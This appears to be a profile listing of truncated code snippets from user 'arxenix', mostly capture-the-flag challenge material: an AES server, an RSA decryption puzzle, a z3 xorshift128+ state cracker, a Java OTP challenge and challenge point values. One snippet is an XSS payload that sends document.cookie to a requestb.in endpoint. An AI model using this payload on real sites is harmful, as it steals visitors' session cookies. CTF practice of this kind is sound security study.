arxenix

#/usr/bin/env python
from Crypto.Cipher.AES import AESCipher

import SocketServer,threading,os,time
import signal

from secret2 import FLAG, KEY

PORT = 7765

arxenix

var http = require('http');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');
var crypto = require('crypto');

var secrets = require('./secrets');

var app = express();

arxenix

I recovered some RSA parameters. Can you decrypt the message?

c = 293430917376708381243824815247228063605104303548720758108780880727974339086036691092136736806182713047603694090694712685069524383098129303183298249981051498714383399595430658107400768559066065231114145553134453396428041946588586604081230659780431638898871362957635105901091871385165354213544323931410599944377781013715195511539451275610913318909140275602013631077670399937733517949344579963174235423101450272762052806595645694091546721802246723616268373048438591
n = 1209143407476550975641959824312993703149920344437422193042293131572745298662696284279928622412441255652391493241414170537319784298367821654726781089600780498369402167443363862621886943970468819656731959468058528787895569936536904387979815183897568006750131879851263753496120098205966442010445601534305483783759226510120860633770814540166419495817666312474484061885435295870436055727722073738662516644186716532891328742452198364825809508602208516407566578212780807
e = 65537

arxenix

var http = require('http');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');
var crypto = require('crypto');

var secrets = require('./secrets');

var app = express();

arxenix

import requests
from z3 import *

# xor_shift_128_plus algorithm
def xs128p(state0, state1):
    s1 = state0 & 0xFFFFFFFFFFFFFFFF
    s0 = state1 & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
    s1 ^= s0 & 0xFFFFFFFFFFFFFFFF

arxenix

class QSet:
    def __init__(self, input=None):
        self.__repr__=self.__str__
        self.qset = {}
        if input!=None:
            for item in input:
                self.add_item(item)
    def add_item(self, item, amt=1):
        if item in self.qset:
            self.qset[item]+=amt

arxenix

Caesar Salad:685
Elemental:703
The Flash:505
Just open it:545
Archive Me:360
Chocolate:440
Drive Home:378
Best Ganondorf:170
Get 'Em All:304
Always So Itchy:218

arxenix

import java.io.File;
import java.io.FileNotFoundException;
import java.util.Base64;
import java.util.Random;
import java.util.Scanner;

public class OTP {

    public static void main(String[] args) throws FileNotFoundException {
        File flag = new File("flag.txt");

arxenix

var cookie = btoa(document.cookie);
var img = document.createElement("img");
img.src = "https://requestb.in/qeqiheqe/"+cookie;

arxenix

Keybase proof

I hereby claim:

• I am arxenix on github.
• I am arxenix (https://keybase.io/arxenix) on keybase.
• I have a public key whose fingerprint is 582C 2575 C44B 9523 23E4 0EDB 07ED 8E52 121A BEF3

To claim this, I am signing this object: